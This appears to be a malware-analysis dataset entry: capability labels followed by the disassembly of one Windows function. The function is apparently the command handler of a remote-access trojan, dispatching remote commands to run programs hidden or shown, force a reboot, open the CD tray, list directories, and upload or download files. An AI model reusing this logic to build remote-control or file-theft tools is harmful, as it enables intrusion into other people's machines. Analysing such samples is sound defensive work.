Function at 0x40a710
Capabilities:
Check if file exists
Check internet connectivity via wininet
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43657b
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x43f480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x210]
push eax
push 0
mov ebx, ecx
push 0
push ebx
lea edi, [ebp - 0x64c]
mov dword [ebp - 0x64c], 0
call fcn.00405330
add esp, 0x10
mov ecx, str.exec_show
lea eax, [ebp - 0x210]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a790
test dl, dl
je 0x40a78c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a790
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a770
xor eax, eax
jmp 0x40a795
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40a841
push 0x20
call fcn.0041f104
add esp, 4
lea ecx, [ebp - 0x310]
push ecx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
mov esi, eax
call fcn.00405330
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
call fcn.00405330
add esp, 0x20
push 5
push 0
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x310]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40a80f
mov dx, word [0x43bf24]
mov word [esi], dx
mov al, byte [0x43bf26]
mov byte [esi + 2], al
jmp 0x40b32c
mov ecx, dword [str.FILE_NOT_FOUND]
mov dword [esi], ecx
mov edx, dword [0x43bf2c]
mov dword [esi + 4], edx
mov eax, dword [0x43bf30]
mov dword [esi + 8], eax
mov cx, word [0x43bf34]
mov word [esi + 0xc], cx
mov dl, byte [0x43bf36]
mov byte [esi + 0xe], dl
jmp 0x40b32c
mov ecx, str.exec_hide
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a870
test dl, dl
je 0x40a86c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a870
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a850
xor eax, eax
jmp 0x40a875
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40a921
push 0x20
call fcn.0041f104
add esp, 4
mov esi, eax
lea eax, [ebp - 0x110]
push eax
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
call fcn.00405330
lea ecx, [ebp - 0x310]
push ecx
push 0x22
push 0x22
push ebx
call fcn.00405330
add esp, 0x20
push 0
push 0
lea edx, [ebp - 0x310]
push edx
lea eax, [ebp - 0x110]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40a8f0
mov cx, word [0x43bf24]
mov word [esi], cx
mov dl, byte [0x43bf26]
mov byte [esi + 2], dl
jmp 0x40b32c
mov eax, dword [str.FILE_NOT_FOUND]
mov dword [esi], eax
mov ecx, dword [0x43bf2c]
mov dword [esi + 4], ecx
mov edx, dword [0x43bf30]
mov dword [esi + 8], edx
mov ax, word [0x43bf34]
mov word [esi + 0xc], ax
mov cl, byte [0x43bf36]
mov byte [esi + 0xe], cl
jmp 0x40b32c
mov ecx, str.reboot
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a950
test dl, dl
je 0x40a94c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a950
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a930
xor eax, eax
jmp 0x40a955
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40a98e
push eax
push eax
push str._r__t_0
push str.shutdown
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x20
call fcn.0041f104
mov ecx, 7
mov esi, str.SYSTEM_GOING_FOR_REBOOT_NOW
mov edi, eax
add esp, 4
rep movsd dword es:[edi], dword [esi]
jmp 0x40b32e
mov ecx, str.msgbox
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a9c0
test dl, dl
je 0x40a9bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a9c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a9a0
xor eax, eax
jmp 0x40a9c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40aa54
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
call fcn.00405330
lea eax, [ebp - 0x310]
push eax
push 0x22
push 0x22
push ebx
call fcn.00405330
add esp, 0x20
push 0x40
lea ecx, [ebp - 0x310]
push ecx
lea edx, [ebp - 0x110]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x20
call fcn.0041f104
mov ecx, dword [str.MESSAGEBOX_DISPLAYED]
mov dword [eax], ecx
mov edx, dword [0x43bf88]
mov dword [eax + 4], edx
mov ecx, dword [0x43bf8c]
mov dword [eax + 8], ecx
mov edx, dword [0x43bf90]
mov dword [eax + 0xc], edx
mov ecx, dword [0x43bf94]
mov dword [eax + 0x10], ecx
mov dl, byte [0x43bf98]
add esp, 4
mov byte [eax + 0x14], dl
jmp 0x40b32e
mov ecx, str.tray_open
lea eax, [ebp - 0x210]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aa80
test dl, dl
je 0x40aa7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aa80
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aa60
xor eax, eax
jmp 0x40aa85
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40ab25
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
lea eax, [ebp - 0x660]
push eax
push 0x2000
push 0x803
push 0
mov dword [ebp - 0x658], str.CDAudio
call esi
mov eax, dword [ebp - 0x65c]
lea ecx, [ebp - 0x51c]
push ecx
push 0x100
push 0x80d
push eax
mov edi, eax
call esi
lea edx, [ebp - 0x51c]
push edx
push 1
push 0x804
push edi
call esi
push 0x20
call fcn.0041f104
mov ecx, dword [str.CD_DVD_TRAY_OPENED]
mov dword [eax], ecx
mov edx, dword [0x43bfb4]
mov dword [eax + 4], edx
mov ecx, dword [0x43bfb8]
mov dword [eax + 8], ecx
mov edx, dword [0x43bfbc]
mov dword [eax + 0xc], edx
mov cx, word [0x43bfc0]
mov word [eax + 0x10], cx
mov dl, byte [0x43bfc2]
add esp, 4
mov byte [eax + 0x12], dl
jmp 0x40b32e
mov ecx, str.tray_close
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ab50
test dl, dl
je 0x40ab4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ab50
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ab30
xor eax, eax
jmp 0x40ab55
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40abf5
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
lea eax, [ebp - 0x660]
push eax
push 0x2000
push 0x803
push 0
mov dword [ebp - 0x658], str.CDAudio
call esi
mov eax, dword [ebp - 0x65c]
lea ecx, [ebp - 0x51c]
push ecx
push 0x200
push 0x80d
push eax
mov edi, eax
call esi
lea edx, [ebp - 0x51c]
push edx
push 1
push 0x804
push edi
call esi
push 0x20
call fcn.0041f104
mov ecx, dword [str.CD_DVD_TRAY_CLOSED]
mov dword [eax], ecx
mov edx, dword [0x43bfd4]
mov dword [eax + 4], edx
mov ecx, dword [0x43bfd8]
mov dword [eax + 8], ecx
mov edx, dword [0x43bfdc]
mov dword [eax + 0xc], edx
mov cx, word [0x43bfe0]
mov word [eax + 0x10], cx
mov dl, byte [0x43bfe2]
add esp, 4
mov byte [eax + 0x12], dl
jmp 0x40b32e
mov ecx, 0x43bfe4
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ac20
test dl, dl
je 0x40ac1c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ac20
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ac00
xor eax, eax
jmp 0x40ac25
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40adfd
lea eax, [ebp - 0x110]
push eax
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
call fcn.00405330
lea eax, [ebp - 0x110]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ac50
sub eax, edx
cmp byte [ebp + eax - 0x111], 0x5c
je 0x40ac82
lea edi, [ebp - 0x110]
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40ac70
mov cx, word [0x43bfe8]
mov word [edi], cx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40adc8
push 1
call fcn.00421904
mov dword [ebp - 0x518], eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x514], eax
push str.Listing_of__s:_n_n
lea edi, [eax + 0x10]
lea esi, [ebp - 0x518]
mov dword [ebp - 4], eax
call fcn.004052e0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40acd0
sub eax, edx
add eax, 8
push eax
call fcn.0041f104
mov esi, eax
add esp, 4
lea eax, [ebp - 0x110]
push eax
push 0x43c000
push esi
mov dword [ebp - 0x64c], esi
call fcn.00420357
add esp, 0xc
lea ecx, [ebp - 0x648]
push ecx
push esi
call fcn.00421be2
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40ad7f
cmp ebx, 0xffffffff
je 0x40ad7f
lea ecx, [ecx]
lea eax, [ebp - 0x624]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ad30
sub eax, edx
lea edx, [ebp - 0x624]
push edx
mov edi, eax
lea esi, [ebp - 0x518]
call fcn.004052e0
push 0x43c008
mov edi, 1
call fcn.004052e0
lea eax, [ebp - 0x648]
push eax
push ebx
call fcn.00421d09
add esp, 8
test eax, eax
je 0x40ad20
push ebx
call fcn.00421e37
mov esi, dword [ebp - 0x64c]
add esp, 4
push esi
call fcn.004203db
mov edi, dword [ebp - 0x518]
mov eax, edi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ad93
sub eax, edx
inc eax
push eax
call fcn.0041f104
mov esi, eax
mov edx, esi
add esp, 4
mov eax, edi
sub edx, edi
mov edi, edi
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40adb0
push edi
call fcn.004206b7
add esp, 4
jmp 0x40b32c
push 0x20
call fcn.0041f104
mov ecx, dword [str.DIR_NOT_FOUND]
mov esi, eax
mov dword [esi], ecx
mov edx, dword [0x43c010]
mov dword [esi + 4], edx
mov eax, dword [0x43c014]
mov dword [esi + 8], eax
mov cx, word [0x43c018]
mov word [esi + 0xc], cx
add esp, 4
jmp 0x40b32c
mov ecx, str.upload
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ae28
test dl, dl
je 0x40ae24
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ae28
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ae08
xor eax, eax
jmp 0x40ae2d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b03a
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
call fcn.00405330
add esp, 0x10
call fcn.004018f0
mov ebx, eax
mov esi, 0x25
mov dword [ebp - 0x514], ebx
call fcn.004011a0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ae70
sub eax, edx
mov edi, eax
call fcn.00406070
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ae83
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x110]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ae97
sub eax, esi
add eax, edx
lea eax, [eax + edi + 0x80]
push eax
call fcn.0041f104
add esp, 4
lea ecx, [ebp - 0x110]
mov esi, eax
push ecx
mov dword [ebp - 0x64c], esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40afeb
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40aed8
sub eax, edx
inc eax
push eax
call fcn.0041f104
mov ebx, eax
lea eax, [ebp - 0x110]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40aef6
sub eax, edx
inc eax
push eax
call fcn.0041f104
add esp, 4
mov edi, eax
push edi
push ebx
push 0
lea edx, [ebp - 0x110]
push 0
push edx
call fcn.004225c3
add esp, 0x14
push edi
push ebx
call fcn.00406070
push eax
mov esi, 0x25
call fcn.004011a0
push eax
mov eax, dword [ebp - 0x64c]
push str._s_comp_sext_s._s
push eax
call fcn.00420357
push ebx
call fcn.004203db
add esp, 0x1c
push edi
call fcn.004203db
mov esi, dword [ebp - 0x64c]
mov edi, dword [ebp - 0x514]
add esp, 4
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x64c]
push ecx
mov dword [ebp - 0x64c], ebx
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x40af98
lea edx, [ebp - 0x110]
push edx
push esi
lea ecx, [ebp - 0x64c]
mov edx, edi
call fcn.00404990
add esp, 8
cmp eax, ebx
jne 0x40afa5
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40af64
push edi
call fcn.004203db
add esp, 4
push esi
call fcn.004203db
add esp, 4
push 0x20
call fcn.0041f104
mov ecx, dword [str.FILE_UPLOADED]
mov dword [eax], ecx
mov edx, dword [0x43c028]
mov dword [eax + 4], edx
mov ecx, dword [0x43c02c]
mov dword [eax + 8], ecx
mov dx, word [0x43c030]
add esp, 4
mov word [eax + 0xc], dx
jmp 0x40b32e
push ebx
call fcn.004203db
add esp, 4
push esi
call fcn.004203db
add esp, 4
push 0x20
call fcn.0041f104
mov ecx, dword [str.FILE_NOT_FOUND]
mov dword [eax], ecx
mov edx, dword [0x43bf2c]
mov dword [eax + 4], edx
mov ecx, dword [0x43bf30]
mov dword [eax + 8], ecx
mov dx, word [0x43bf34]
mov word [eax + 0xc], dx
mov cl, byte [0x43bf36]
add esp, 4
mov byte [eax + 0xe], cl
jmp 0x40b32e
mov ecx, str.download
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b065
test dl, dl
je 0x40b061
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b065
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b045
xor eax, eax
jmp 0x40b06a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b123
push 0x20
call fcn.0041f104
add esp, 4
lea edx, [ebp - 0x620]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
mov esi, eax
call fcn.00405330
lea eax, [ebp - 0x510]
push eax
push 0x22
push 0x22
push ebx
call fcn.00405330
lea ecx, [ebp - 0x410]
push ecx
push 0x22
push 0x22
push ebx
call fcn.00405330
lea edx, [ebp - 0x510]
push edx
lea edx, [ebp - 0x410]
lea ecx, [ebp - 0x620]
call fcn.004047e0
add esp, 0x34
test eax, eax
je 0x40b0fc
mov eax, dword [str.FILE_DOWNLOADED]
mov dword [esi], eax
mov ecx, dword [0x43c044]
mov dword [esi + 4], ecx
mov edx, dword [0x43c048]
mov dword [esi + 8], edx
mov eax, dword [0x43c04c]
mov dword [esi + 0xc], eax
jmp 0x40b32c
mov ecx, dword [str.DOWNLOAD_FAILED]
mov dword [esi], ecx
mov edx, dword [0x43c054]
mov dword [esi + 4], edx
mov eax, dword [0x43c058]
mov dword [esi + 8], eax
mov ecx, dword [0x43c05c]
mov dword [esi + 0xc], ecx
jmp 0x40b32c
mov ecx, str.lock_distribution
lea eax, [ebp - 0x210]
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b150
test dl, dl
je 0x40b14c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b150
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b130
xor eax, eax
jmp 0x40b155
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b20d
push 0x20
call fcn.0041f104
add esp, 4
mov esi, 0x24
mov edi, eax
call fcn.004011a0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40b1da
push 0x43bd44
call fcn.004011a0
push eax
call fcn.00420f39
add esp, 8
test eax, eax
je 0x40b1b8
mov dx, word [0x43bf24]
mov word [edi], dx
mov cl, byte [0x43bf26]
push eax
mov byte [edi + 2], cl
call fcn.00421860
add esp, 4
mov eax, edi
jmp 0x40b32e
mov edx, dword [str.FAILED]
mov dword [edi], edx
mov ax, word [0x43c078]
mov word [edi + 4], ax
mov cl, byte [0x43c07a]
mov byte [edi + 6], cl
mov eax, edi
jmp 0x40b32e
mov edx, dword [str.ALREADY_LOCKED]
mov dword [edi], edx
mov eax, dword [0x43c080]
mov dword [edi + 4], eax
mov ecx, dword [0x43c084]
mov dword [edi + 8], ecx
mov dx, word [0x43c088]
mov word [edi + 0xc], dx
mov al, byte [0x43c08a]
mov byte [edi + 0xe], al
mov eax, edi
jmp 0x40b32e
mov ecx, str.unlock_distribution
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b238
test dl, dl
je 0x40b234
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b238
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b218
xor eax, eax
jmp 0x40b23d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b2b8
push 0x20
call fcn.0041f104
add esp, 4
mov esi, 0x24
mov edi, eax
call fcn.004011a0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40b28a
call fcn.004011a0
push eax
call fcn.004218d4
mov cx, word [0x43bf24]
mov word [edi], cx
mov dl, byte [0x43bf26]
add esp, 4
mov byte [edi + 2], dl
mov eax, edi
jmp 0x40b32e
mov eax, dword [str.ALREADY_UNLOCKED]
mov dword [edi], eax
mov ecx, dword [0x43c0a4]
mov dword [edi + 4], ecx
mov edx, dword [0x43c0a8]
mov dword [edi + 8], edx
mov eax, dword [0x43c0ac]
mov dword [edi + 0xc], eax
mov cl, byte [0x43c0b0]
mov byte [edi + 0x10], cl
mov eax, edi
jmp 0x40b32e
mov ecx, str.stop
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b2e3
test dl, dl
je 0x40b2df
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b2e3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b2c3
xor eax, eax
jmp 0x40b2e8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b2f2
push eax
call fcn.00422225
lea eax, [ebp - 0x210]
lea edx, [eax + 1]
jmp 0x40b300
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b300
sub eax, edx
add eax, 0x20
push eax
call fcn.0041f104
add esp, 4
lea edx, [ebp - 0x210]
push edx
mov esi, eax
push str.UNKNOWN_COMMAND_____s_
push esi
call fcn.00420357
add esp, 0xc
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fc56
mov esp, ebp
pop ebp
ret